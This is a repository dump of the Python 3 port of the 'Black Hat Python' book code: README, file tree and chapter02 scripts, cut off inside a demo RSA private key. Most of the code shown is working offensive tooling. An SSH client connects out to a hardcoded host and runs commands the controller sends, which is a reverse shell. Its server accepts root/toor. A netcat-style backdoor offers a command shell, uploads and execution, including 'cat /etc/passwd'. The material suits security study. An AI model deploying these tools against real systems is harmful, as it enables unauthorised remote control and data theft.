├── .gitignore ├── README.md ├── chapter02 ├── bh_sshRcmd.py ├── bh_sshcmd.py ├── bh_sshserver.py ├── bhnet.py ├── proxy.py ├── rforward.py ├── tcp-client.py ├── tcp-server.py ├── test_rsa.key └── udp-client.py ├── chapter03 ├── scanner.py ├── sniffer_basic.py ├── sniffer_ip_header_decode.py └── sniffer_with_icmp.py ├── chapter04 ├── arper.py ├── mail_sniffer.py └── pic_carver.py ├── chapter05 ├── all.txt ├── cain.txt ├── content_bruter.py ├── joomla_killer.py └── web_app_mapper.py ├── chapter06 ├── bhp_bing.py ├── bhp_fuzzer.py ├── bhp_wordlist.py └── jython-standalone-2.7.2.jar ├── chapter07 ├── config │ └── abc.json ├── git_trojan.py └── modules │ ├── dirlister.py │ └── environment.py ├── chapter08 ├── keylogger.py ├── pyWinhook-1.6.2-cp38-cp38-win_amd64.whl ├── sandbox_detect.py ├── screenshotter.py └── shell_exec.py ├── chapter09 ├── cred_server.py ├── decryptor.py ├── ie_exfil.py ├── keygen.py └── mitb.py ├── chapter10 ├── bhvulnservice.zip ├── file_monitor.py └── process_monitor.py ├── chapter11 ├── cmeasure.bin ├── code_coverage.py ├── code_inject.py └── grabhashes.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | .idea/ 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | env/ 15 | build/ 16 | develop-eggs/ 17 | dist/ 18 | downloads/ 19 | eggs/ 20 | .eggs/ 21 | lib/ 22 | lib64/ 23 | parts/ 24 | sdist/ 25 | var/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *,cover 49 | .hypothesis/ 50 | 51 | # Translations 52 | *.mo 53 | *.pot 54 | 55 | # Django stuff: 56 | *.log 57 | 58 | # Sphinx documentation 59 | docs/_build/ 60 | 61 | # PyBuilder 62 | target/ 63 | 64 | #Ipython Notebook 65 | .ipynb_checkpoints 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python 3 "Black Hat Python" Source Code 2 | 3 | Source code for the book "Black Hat Python" by Justin Seitz. The code has been fully converted to Python 3, reformatted to comply with PEP8 standards and refactored to eliminate issues of dependency resolution involving deprecated modules. 4 | 5 | Although many optimizations could have been implemented in the source code 6 | presented 7 | throughout the book, the code was left unaltered as much as possible so that 8 | such modifications can be applied by the reader as he sees fit. The code as 9 | it is needs some serious refactoring efforts ranging from docstrings to type 10 | hinting and exception handling, not to mention enhancements like context 11 | managers, but these issues by themselves may come to benefit the reader if 12 | he has the intention of implementing them. It also presents many bugs 13 | originating from indentation that have been corrected if fatal errors were 14 | to be avoided during runtime. 15 | 16 | ## Usage 17 | Simply make a new directory (DIR) for the project, create a new 18 | virtual environment or `venv` for it (recommended), clone this repository 19 | using `git clone` and install the requirements using `pip install`. 20 | 21 | ``` 22 | user@host:~$ mkdir DIR 23 | user@host:~$ cd DIR 24 | user@host:~/DIR$ python3 -m venv venv 25 | user@host:~/DIR$ source venv/bin/activate 26 | (venv) user@host:~/DIR$ git clone https://github.com/EONRaider/blackhat-python3 27 | (venv) user@host:~/DIR$ pip install -r requirements.txt 28 | ``` 29 | 30 | ## Notes 31 | - The book was made available in its entirety by Internet Archive, right 32 | [here](https://archive.org/details/pdfy-rJnW-pPgiHK61dok/). 33 | - Some listings presented on the book were missing from the author's code 34 | repository available from "no starch press" website and were 35 | added to their respective chapters. A more accurate naming convention has 36 | been applied to the files as necessary in order to relate them to the code 37 | presented in the book. 38 | - Minor bugs that generated warnings by the interpreter have been fixed 39 | throughout the code without altering its characteristics. 40 | - Auxiliary files that were required to make the code work were added to their 41 | respective chapters. 42 | - As a personal side-note, it could have been possible for the author 43 | to have written cleaner code without jeopardizing the quickness of 44 | implementation that is required for ethical hacking engagements. Why he 45 | opted for not doing so remains of unknown reason. 46 | 47 | ## Refactoring 48 | 49 | Critical bug fixes that had to be made in order to properly implement the 50 | source code and avoid fatal errors: 51 | - `chapter02/bh_sshserver.py` required the RSA key contained in the `test_rsa.key` file, now included in the corresponding directory. 52 | - `chapter03/sniffer_ip_header_decode.py` & `sniffer_with_icmp.py` & `scanner.py` all had serious 53 | problems in the definition of IP packet sizes and portability between 32/64-bit 54 | systems due to problems in the implementation of structs. More about these 55 | issues on [this thread on Stack Overflow.](https://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book#29307402) 56 | - `chapter03/scanner.py` used the *netaddr* module, which is not 57 | maintained anymore and presents many incompatibilities with Python 3. 58 | For that reason the code has been refactored and now uses the *ipaddress* 59 | module from Stdlib. 60 | - `chapter04/arper.py` & `mail_sniffer.py` used the *scapy* module, which is 61 | not compatible with Python 3. For that reason the code has been refactored and 62 | now uses the *kamene* module. 63 | - `chapter04/pic_carver.py` now uses the "opencv-python" library instead of 64 | "cv2". The "cv2.cv" module was deprecated and has been replaced. The parameter 65 | "cv2.cv.CV_HAAR_SCALE_IMAGE" from the original code was replaced by 66 | "cv2.CASCADE_SCALE_IMAGE" because of [this commit](https://github.com/ragulin/face-recognition-server/commit/7b9773be352cbcd8a3aff50c7371f8aaf737bc5c). 67 | - `chapter05/content_bruter.py` required a wordlist to work. It has been added 68 | to the chapter under `all.txt` 69 | - `chapter05/joomla_killer.py` required a wordlist to work. It has been added 70 | to the chapter under `cain.txt` 71 | - `chapter06/bhp_bing.py` & `bhp_fuzzer.py` & `bhp_wordlist.py` have been 72 | reformatted to comply with PEP8, though some warnings will still be 73 | triggered due to the necessity to conform class names to camel-casing in 74 | this specific application on Burp Suite. 75 | - `chapter06/jython-standalone-2.7.2.jar` is available as a more updated 76 | version of the file relative to the one presented in the book. 77 | - `chapter07/git_trojan.py` was refactored to replace the "imp" module (now 78 | deprecated) for "types". A subdirectory structure with the necessary 79 | configuration files has been implemented as instructed in the book. The 80 | "trojan_config" variable was missing the relative path to the `config` subdirectory. A call to "to_tree()" method was added to line 60 in order to 81 | avoid an AttributeError exception generated by the original code. 82 | Instructions on how to generate an access token 83 | instead of using one's password in case 2FA is being used were included as comments. 84 | - `chapter08/keylogger.py` requires the PyHook module to work. A wheel file 85 | has been included with the 1.6.2 version. If necessary, other versions can 86 | be downloaded from [here](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook). 87 | 88 | ## Contributing 89 | 90 | As a matter of common sense, first try to discuss the change you wish to make to 91 | this repository via an issue. 92 | 93 | 1. Ensure the modifications you wish to introduce actually lead to a pull 94 | request. The change of one line or two should be requested through an issue 95 | instead. 96 | 2. If necessary, update the README.md file with details relative to changes to 97 | the project structure. 98 | 3. Make sure the commit messages that include the modifications follow a 99 | standard. If you don't know how to proceed, [HERE](https://chris.beams.io/posts/git-commit/) 100 | is a great reference on how to do it. 101 | 4. Your request will be reviewed as soon as possible (usually within one day). 102 | 103 | -------------------------------------------------------------------------------- /chapter02/bh_sshRcmd.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import paramiko 3 | 4 | 5 | def ssh_command(ip, user, passwd, command): 6 | client = paramiko.SSHClient() 7 | # client can also support using key files 8 | # client.load_host_keys('/home/user/.ssh/known_hosts') 9 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | client.connect(ip, username=user, password=passwd) 11 | ssh_session = client.get_transport().open_session() 12 | if ssh_session.active: 13 | ssh_session.send(command) 14 | print(ssh_session.recv(1024)) # read banner 15 | 16 | while True: 17 | # get the command from the SSH server 18 | command = ssh_session.recv(1024) 19 | try: 20 | cmd_output = subprocess.check_output(command, shell=True) 21 | ssh_session.send(cmd_output) 22 | except Exception as e: 23 | ssh_session.send(str(e)) 24 | client.close() 25 | return 26 | 27 | 28 | ssh_command('192.168.100.130', 'justin', 'lovesthepython', 'ClientConnected') 29 | -------------------------------------------------------------------------------- /chapter02/bh_sshcmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | 3 | 4 | def ssh_command(ip, user, passwd, command): 5 | client = paramiko.SSHClient() 6 | # client can also support using key files 7 | # client.load_host_keys('/home/user/.ssh/known_hosts') 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, username=user, password=passwd) 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.exec_command(command) 13 | print(ssh_session.recv(1024)) 14 | return 15 | 16 | 17 | ssh_command('192.168.100.131', 'justin', 'lovesthepython', 'ClientConnected') 18 | -------------------------------------------------------------------------------- /chapter02/bh_sshserver.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import paramiko 3 | import threading 4 | import sys 5 | 6 | # using the server host key from the paramiko demo files 7 | host_key = paramiko.RSAKey(filename='test_rsa.key') 8 | 9 | 10 | class Server(paramiko.ServerInterface): 11 | def __init__(self): 12 | self.event = threading.Event() 13 | 14 | def check_channel_request(self, kind, chanid): 15 | if kind == 'session': 16 | return paramiko.OPEN_SUCCEEDED 17 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 18 | 19 | def check_auth_password(self, username, password): 20 | if username == 'root' and password == 'toor': 21 | return paramiko.AUTH_SUCCESSFUL 22 | return paramiko.AUTH_FAILED 23 | 24 | 25 | server = sys.argv[1] 26 | ssh_port = int(sys.argv[2]) 27 | 28 | try: 29 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | sock.bind((server, ssh_port)) 32 | sock.listen(100) 33 | print("[+] Listening for connection...") 34 | client, addr = sock.accept() 35 | except Exception as e: 36 | print("[-] Listen failed: " + str(e)) 37 | sys.exit(1) 38 | 39 | print("[+] Got a connection!") 40 | 41 | try: 42 | # noinspection PyTypeChecker 43 | bhSession = paramiko.Transport(client) 44 | bhSession.add_server_key(host_key) 45 | server = Server() 46 | try: 47 | bhSession.start_server(server=server) 48 | except paramiko.SSHException: 49 | print("[-] SSH negotiation failed.") 50 | chan = bhSession.accept(20) 51 | print("[+] Authenticated!") 52 | print(chan.recv(1024)) 53 | chan.send("Welcome to bh_ssh!") 54 | while True: 55 | try: 56 | command = input("Enter command: ").strip("\n") 57 | if command != "exit": 58 | chan.send(command) 59 | print(chan.recv(1024).decode(errors="ignore") + "\n") 60 | else: 61 | chan.send("exit") 62 | print("Exiting...") 63 | bhSession.close() 64 | raise Exception("exit") 65 | except KeyboardInterrupt: 66 | bhSession.close() 67 | except Exception as e: 68 | print("[-] Caught exception: " + str(e)) 69 | bhSession.close() 70 | finally: 71 | sys.exit(1) 72 | -------------------------------------------------------------------------------- /chapter02/bhnet.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import getopt 4 | import threading 5 | import subprocess 6 | 7 | # define some global variables 8 | listen = False 9 | command = False 10 | upload = False 11 | execute = "" 12 | target = "" 13 | upload_destination = "" 14 | port = 0 15 | 16 | 17 | # this runs a command and returns the output 18 | def run_command(cmd): 19 | # trim the newline 20 | cmd = cmd.rstrip() 21 | 22 | # run the command and get the output back 23 | try: 24 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, 25 | shell=True) 26 | except subprocess.CalledProcessError as e: 27 | output = e.output 28 | 29 | # send the output back to the client 30 | return output 31 | 32 | 33 | # this handles incoming client connections 34 | def client_handler(client_socket): 35 | global upload 36 | global execute 37 | global command 38 | 39 | # check for upload 40 | if len(upload_destination): 41 | 42 | # read in all of the bytes and write to our destination 43 | file_buffer = "" 44 | 45 | # keep reading data until none is available 46 | while True: 47 | data = client_socket.recv(1024) 48 | 49 | if not data: 50 | break 51 | else: 52 | file_buffer += data 53 | 54 | # now we take these bytes and try to write them out 55 | try: 56 | file_descriptor = open(upload_destination, "wb") 57 | file_descriptor.write(file_buffer.encode('utf-8')) 58 | file_descriptor.close() 59 | 60 | # acknowledge that we wrote the file out 61 | client_socket.send( 62 | "Successfully saved file to %s\r\n" % upload_destination) 63 | except OSError: 64 | client_socket.send( 65 | "Failed to save file to %s\r\n" % upload_destination) 66 | 67 | # check for command execution 68 | if len(execute): 69 | # run the command 70 | output = run_command(execute) 71 | 72 | client_socket.send(output) 73 | 74 | # now we go into another loop if a command shell was requested 75 | if command: 76 | 77 | while True: 78 | # show a simple prompt 79 | client_socket.send(" ".encode('utf-8')) 80 | 81 | # now we receive until we see a linefeed (enter key) 82 | cmd_buffer = b'' 83 | while b"\n" not in cmd_buffer: 84 | cmd_buffer += client_socket.recv(1024) 85 | 86 | # we have a valid command so execute it and send back the results 87 | response = run_command(cmd_buffer) 88 | 89 | # send back the response 90 | client_socket.send(response) 91 | 92 | 93 | # this is for incoming connections 94 | def server_loop(): 95 | global target 96 | global port 97 | 98 | # if no target is defined we listen on all interfaces 99 | if not len(target): 100 | target = "0.0.0.0" 101 | 102 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 103 | server.bind((target, port)) 104 | server.listen(5) 105 | 106 | while True: 107 | client_socket, addr = server.accept() 108 | 109 | # spin off a thread to handle our new client 110 | client_thread = threading.Thread(target=client_handler, 111 | args=(client_socket,)) 112 | client_thread.start() 113 | 114 | 115 | # if we don't listen we are a client... make it so. 116 | def client_sender(buffer): 117 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 118 | 119 | try: 120 | # connect to our target host 121 | client.connect((target, port)) 122 | 123 | # if we detect input from stdin send it 124 | # if not we are going to wait for the user to punch some in 125 | if len(buffer): 126 | client.send(buffer.encode('utf-8')) 127 | 128 | while True: 129 | # now wait for data back 130 | recv_len = 1 131 | response = b'' 132 | 133 | while recv_len: 134 | data = client.recv(4096) 135 | recv_len = len(data) 136 | response += data 137 | 138 | if recv_len < 4096: 139 | break 140 | 141 | print(response.decode('utf-8'), end=' ') 142 | 143 | # wait for more input 144 | buffer = input("") 145 | buffer += "\n" 146 | 147 | # send it off 148 | client.send(buffer.encode('utf-8')) 149 | 150 | except socket.error as exc: 151 | # just catch generic errors - you can do your homework to beef this up 152 | print("[*] Exception! Exiting.") 153 | print(f"[*] Caught exception socket.error: {exc}") 154 | 155 | # teardown the connection 156 | client.close() 157 | 158 | 159 | def usage(): 160 | print("Netcat Replacement") 161 | print() 162 | print("Usage: bhpnet.py -t target_host -p port") 163 | print( 164 | "-l --listen - listen on [host]:[port] for incoming " 165 | "connections") 166 | print( 167 | "-e --execute=file_to_run - execute the given file upon receiving " 168 | "a connection") 169 | print("-c --command - initialize a command shell") 170 | print( 171 | "-u --upload=destination - upon receiving connection upload a file " 172 | "and write to [destination]") 173 | print() 174 | print() 175 | print("Examples: ") 176 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") 177 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe") 178 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"") 179 | print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 180 | sys.exit(0) 181 | 182 | 183 | def main(): 184 | global listen 185 | global port 186 | global execute 187 | global command 188 | global upload_destination 189 | global target 190 | 191 | if not len(sys.argv[1:]): 192 | usage() 193 | 194 | # read the commandline options 195 | try: 196 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", 197 | ["help", "listen", "execute", "target", 198 | "port", "command", "upload"]) 199 | for o, a in opts: 200 | if o in ("-h", "--help"): 201 | usage() 202 | elif o in ("-l", "--listen"): 203 | listen = True 204 | elif o in ("-e", "--execute"): 205 | execute = a 206 | elif o in ("-c", "--commandshell"): 207 | command = True 208 | elif o in ("-u", "--upload"): 209 | upload_destination = a 210 | elif o in ("-t", "--target"): 211 | target = a 212 | elif o in ("-p", "--port"): 213 | port = int(a) 214 | else: 215 | assert False, "Unhandled Option" 216 | 217 | except getopt.GetoptError as err: 218 | print(str(err)) 219 | usage() 220 | 221 | # are we going to listen or just send data from STDIN? 222 | if not listen and len(target) and port > 0: 223 | # read in the buffer from the commandline 224 | # this will block, so send CTRL-D if not sending input 225 | # to stdin 226 | buffer = sys.stdin.read() 227 | 228 | # send data off 229 | client_sender(buffer) 230 | 231 | # we are going to listen and potentially 232 | # upload things, execute commands and drop a shell back 233 | # depending on our command line options above 234 | if listen: 235 | server_loop() 236 | 237 | 238 | main() 239 | -------------------------------------------------------------------------------- /chapter02/proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | 6 | # this is a pretty hex dumping function directly taken from 7 | # http://code.activestate.com/recipes/142812-hex-dumper/ 8 | 9 | def hexdump(src, length=16): 10 | result = [] 11 | digits = 4 if isinstance(src, str) else 2 12 | 13 | for i in range(0, len(src), length): 14 | s = src[i:i + length] 15 | hexa = b' '.join([b"%0*X" % (digits, ord(x)) for x in s]) 16 | text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 17 | result.append( 18 | b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 19 | 20 | print(b'\n'.join(result)) 21 | 22 | 23 | def receive_from(connection): 24 | buffer = b'' 25 | 26 | # We set a 2 second time-out. Depending on your target this may need 27 | # to be adjusted 28 | connection.settimeout(2) 29 | 30 | try: 31 | 32 | # keep reading into the buffer until there's no more data or we 33 | # time-out 34 | while True: 35 | data = connection.recv(4096) 36 | if not data: 37 | break 38 | buffer += data 39 | 40 | except TimeoutError: 41 | pass 42 | 43 | return buffer 44 | 45 | 46 | # modify any requests destined for the remote host 47 | def request_handler(buffer): 48 | # perform packet modifications 49 | return buffer 50 | 51 | 52 | # modify any responses destined for the local host 53 | def response_handler(buffer): 54 | # perform packet modifications 55 | return buffer 56 | 57 | 58 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 59 | # connect to the remote host 60 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | remote_socket.connect((remote_host, remote_port)) 62 | 63 | # receive data from the remote end if necessary 64 | if receive_first: 65 | remote_buffer = receive_from(remote_socket) 66 | hexdump(remote_buffer) 67 | 68 | # send it to our response handler 69 | remote_buffer = response_handler(remote_buffer) 70 | 71 | # if we have data to send to our local client send it 72 | if len(remote_buffer): 73 | print("[<==] Sending %d bytes to localhost." % len(remote_buffer)) 74 | client_socket.send(remote_buffer) 75 | 76 | # now let's loop and read from local, send to remote, send to local 77 | # rinse wash repeat 78 | while True: 79 | # read from local host 80 | local_buffer = receive_from(client_socket) 81 | 82 | if len(local_buffer): 83 | print("[==>] Received %d bytes from localhost." % len(local_buffer)) 84 | hexdump(local_buffer) 85 | 86 | # send it to our request handler 87 | local_buffer = request_handler(local_buffer) 88 | 89 | # send off the data to the remote host 90 | remote_socket.send(local_buffer) 91 | print("[==>] Sent to remote.") 92 | 93 | # receive back the response 94 | remote_buffer = receive_from(remote_socket) 95 | 96 | if len(remote_buffer): 97 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 98 | hexdump(remote_buffer) 99 | 100 | # send to our response handler 101 | remote_buffer = response_handler(remote_buffer) 102 | 103 | # send the response to the local socket 104 | client_socket.send(remote_buffer) 105 | 106 | print("[<==] Sent to localhost.") 107 | 108 | # if no more data on either side close the connections 109 | if not len(local_buffer) or not len(remote_buffer): 110 | client_socket.close() 111 | remote_socket.close() 112 | print("[*] No more data. Closing connections.") 113 | break 114 | 115 | 116 | def server_loop(local_host, local_port, remote_host, remote_port, 117 | receive_first): 118 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 119 | 120 | try: 121 | server.bind((local_host, local_port)) 122 | except socket.error as exc: 123 | print("[!!] Failed to listen on %s:%d" % (local_host, 124 | local_port)) 125 | print("[!!] Check for other listening sockets or correct " 126 | "permissions.") 127 | print(f"[!!] Caught exception error: {exc}") 128 | sys.exit(0) 129 | 130 | print("[*] Listening on %s:%d" % (local_host, local_port)) 131 | 132 | server.listen(5) 133 | 134 | while True: 135 | client_socket, addr = server.accept() 136 | 137 | # print out the local connection information 138 | print("[==>] Received incoming connection from %s:%d" % ( 139 | addr[0], addr[1])) 140 | 141 | # start a thread to talk to the remote host 142 | proxy_thread = threading.Thread(target=proxy_handler, args=( 143 | client_socket, remote_host, remote_port, receive_first)) 144 | proxy_thread.start() 145 | 146 | 147 | def main(): 148 | # no fancy command line parsing here 149 | if len(sys.argv[1:]) != 5: 150 | print("Usage: ./proxy.py [localhost] [localport] [remotehost] " 151 | "[remoteport] [receive_first]") 152 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 153 | sys.exit(0) 154 | 155 | # setup local listening parameters 156 | local_host = sys.argv[1] 157 | local_port = int(sys.argv[2]) 158 | 159 | # setup remote target 160 | remote_host = sys.argv[3] 161 | remote_port = int(sys.argv[4]) 162 | 163 | # this tells our proxy to connect and receive data 164 | # before sending to the remote host 165 | receive_first = sys.argv[5] 166 | 167 | if "True" in receive_first: 168 | receive_first = True 169 | else: 170 | receive_first = False 171 | 172 | # now spin up our listening socket 173 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 174 | 175 | 176 | main() 177 | -------------------------------------------------------------------------------- /chapter02/rforward.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (C) 2008 Robey Pointer 4 | # 5 | # This file is part of paramiko. 6 | # 7 | # Paramiko is free software; you can redistribute it and/or modify it under the 8 | # terms of the GNU Lesser General Public License as published by the Free 9 | # Software Foundation; either version 2.1 of the License, or (at your option) 10 | # any later version. 11 | # 12 | # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY 13 | # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR 14 | # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more 15 | # details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public License 18 | # along with Paramiko; if not, write to the Free Software Foundation, Inc., 19 | # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. 20 | 21 | """ 22 | Sample script showing how to do remote port forwarding over paramiko. 23 | 24 | This script connects to the requested SSH server and sets up remote port 25 | forwarding (the openssh -R option) from a remote port through a tunneled 26 | connection to a destination reachable from the local machine. 27 | """ 28 | 29 | import getpass 30 | import socket 31 | import select 32 | import sys 33 | import threading 34 | from optparse import OptionParser 35 | 36 | import paramiko 37 | 38 | SSH_PORT = 22 39 | DEFAULT_PORT = 4000 40 | 41 | g_verbose = True 42 | 43 | 44 | def handler(chan, host, port): 45 | sock = socket.socket() 46 | try: 47 | sock.connect((host, port)) 48 | except Exception as e: 49 | verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) 50 | return 51 | 52 | verbose( 53 | "Connected! Tunnel open %r -> %r -> %r" 54 | % (chan.origin_addr, chan.getpeername(), (host, port)) 55 | ) 56 | while True: 57 | r, w, x = select.select([sock, chan], [], []) 58 | if sock in r: 59 | data = sock.recv(1024) 60 | if len(data) == 0: 61 | break 62 | chan.send(data) 63 | if chan in r: 64 | data = chan.recv(1024) 65 | if len(data) == 0: 66 | break 67 | sock.send(data) 68 | chan.close() 69 | sock.close() 70 | verbose("Tunnel closed from %r" % (chan.origin_addr,)) 71 | 72 | 73 | def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 74 | transport.request_port_forward("", server_port) 75 | while True: 76 | chan = transport.accept(1000) 77 | if chan is None: 78 | continue 79 | thr = threading.Thread( 80 | target=handler, args=(chan, remote_host, remote_port) 81 | ) 82 | thr.setDaemon(True) 83 | thr.start() 84 | 85 | 86 | def verbose(s): 87 | if g_verbose: 88 | print(s) 89 | 90 | 91 | HELP = """\ 92 | Set up a reverse forwarding tunnel across an SSH server, using paramiko. A 93 | port on the SSH server (given with -p) is forwarded across an SSH session 94 | back to the local machine, and out to a remote site reachable from this 95 | network. This is similar to the openssh -R option. 96 | """ 97 | 98 | 99 | def get_host_port(spec, default_port): 100 | """parse 'hostname:22' into a host and port, with the port optional""" 101 | args = (spec.split(":", 1) + [default_port])[:2] 102 | args[1] = int(args[1]) 103 | return args[0], args[1] 104 | 105 | 106 | def parse_options(): 107 | global g_verbose 108 | 109 | parser = OptionParser( 110 | usage="usage: %prog [options] [:]", 111 | version="%prog 1.0", 112 | description=HELP, 113 | ) 114 | parser.add_option( 115 | "-q", 116 | "--quiet", 117 | action="store_false", 118 | dest="verbose", 119 | default=True, 120 | help="squelch all informational output", 121 | ) 122 | parser.add_option( 123 | "-p", 124 | "--remote-port", 125 | action="store", 126 | type="int", 127 | dest="port", 128 | default=DEFAULT_PORT, 129 | help="port on server to forward (default: %d)" % DEFAULT_PORT, 130 | ) 131 | parser.add_option( 132 | "-u", 133 | "--user", 134 | action="store", 135 | type="string", 136 | dest="user", 137 | default=getpass.getuser(), 138 | help="username for SSH authentication (default: %s)" 139 | % getpass.getuser(), 140 | ) 141 | parser.add_option( 142 | "-K", 143 | "--key", 144 | action="store", 145 | type="string", 146 | dest="keyfile", 147 | default=None, 148 | help="private key file to use for SSH authentication", 149 | ) 150 | parser.add_option( 151 | "", 152 | "--no-key", 153 | action="store_false", 154 | dest="look_for_keys", 155 | default=True, 156 | help="don't look for or use a private key file", 157 | ) 158 | parser.add_option( 159 | "-P", 160 | "--password", 161 | action="store_true", 162 | dest="readpass", 163 | default=False, 164 | help="read password (for key or password auth) from stdin", 165 | ) 166 | parser.add_option( 167 | "-r", 168 | "--remote", 169 | action="store", 170 | type="string", 171 | dest="remote", 172 | default=None, 173 | metavar="host:port", 174 | help="remote host and port to forward to", 175 | ) 176 | options, args = parser.parse_args() 177 | 178 | if len(args) != 1: 179 | parser.error("Incorrect number of arguments.") 180 | if options.remote is None: 181 | parser.error("Remote address required (-r).") 182 | 183 | g_verbose = options.verbose 184 | server_host, server_port = get_host_port(args[0], SSH_PORT) 185 | remote_host, remote_port = get_host_port(options.remote, SSH_PORT) 186 | return options, (server_host, server_port), (remote_host, remote_port) 187 | 188 | 189 | def main(): 190 | options, server, remote = parse_options() 191 | 192 | password = None 193 | if options.readpass: 194 | password = getpass.getpass("Enter SSH password: ") 195 | 196 | client = paramiko.SSHClient() 197 | client.load_system_host_keys() 198 | client.set_missing_host_key_policy(paramiko.WarningPolicy()) 199 | 200 | verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1])) 201 | try: 202 | client.connect( 203 | server[0], 204 | server[1], 205 | username=options.user, 206 | key_filename=options.keyfile, 207 | look_for_keys=options.look_for_keys, 208 | password=password, 209 | ) 210 | except Exception as e: 211 | print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e)) 212 | sys.exit(1) 213 | 214 | verbose( 215 | "Now forwarding remote port %d to %s:%d ..." 216 | % (options.port, remote[0], remote[1]) 217 | ) 218 | 219 | try: 220 | reverse_forward_tunnel( 221 | options.port, remote[0], remote[1], client.get_transport() 222 | ) 223 | except KeyboardInterrupt: 224 | print("C-c: Port forwarding stopped.") 225 | sys.exit(0) 226 | 227 | 228 | if __name__ == "__main__": 229 | main() 230 | -------------------------------------------------------------------------------- /chapter02/tcp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # connect the client 10 | client.connect((target_host, target_port)) 11 | 12 | # send some data 13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | # receive data 16 | response = client.recv(4096) 17 | 18 | print(response) 19 | -------------------------------------------------------------------------------- /chapter02/tcp-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | server.bind((bind_ip, bind_port)) 10 | 11 | server.listen(5) 12 | 13 | print("[*] Listening on %s:%d" % (bind_ip, bind_port)) 14 | 15 | 16 | # this is our client handling thread 17 | def handle_client(client_socket): 18 | # just print out what the client sends 19 | request = client_socket.recv(1024) 20 | 21 | print("[*] Received: %s" % request) 22 | 23 | # send back a packet 24 | client_socket.send(b"ACK!") 25 | print(client_socket.getpeername()) 26 | client_socket.close() 27 | 28 | 29 | while True: 30 | client, addr = server.accept() 31 | 32 | print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1])) 33 | 34 | # spin up our client thread to handle incoming data 35 | client_handler = threading.Thread(target=handle_client, args=(client,)) 36 | client_handler.start() 37 | -------------------------------------------------------------------------------- /chapter02/test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | 